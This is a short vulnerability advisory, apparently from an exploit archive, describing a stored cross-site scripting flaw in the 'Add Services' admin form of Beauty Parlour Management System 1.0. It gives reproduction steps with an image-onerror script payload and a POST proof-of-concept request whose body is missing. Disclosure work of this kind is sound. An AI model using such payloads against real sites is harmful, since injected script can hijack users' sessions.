Beauty Parlour Management System 1.0 Cross Site Scripting

Beauty Parlour Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | e9aca58f9670c3d1db7818d087e48ccc

# Exploit Title: Beauty Parlour Management System 1.0 - 'Add Services' Cross-Site Scripting
# Date: 19/2/2021
# Exploit Author: Thinkland Security Team
# Vendor Homepage:
# Software Link:
# Version : V 1.0
# Vulnerability Type: Cross-site Scripting
# Tested on Windows 10 、XAMPP
# This application is vulnerable to cross-site scripting vulnerability.
# Vulnerable script:

1.go to http://localhost/bpms/admin/ Sign in.
2.go to http://localhost/bpms/admin/add-services.php,Click on Services —— Add Services,Fill in Services name <img src=1 onerror=alert(/xss/)>,Click on Add.
3.Click on Manage Services,You will see your Javascript code executed.

# poc:
POST /bpms/admin/add-services.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/bpms/admin/add-services.php
Cookie: PHPSESSID=qaqv7jl8dqci4i2nldnj4n60s0
Upgrade-Insecure-Requests: 1


Related Posts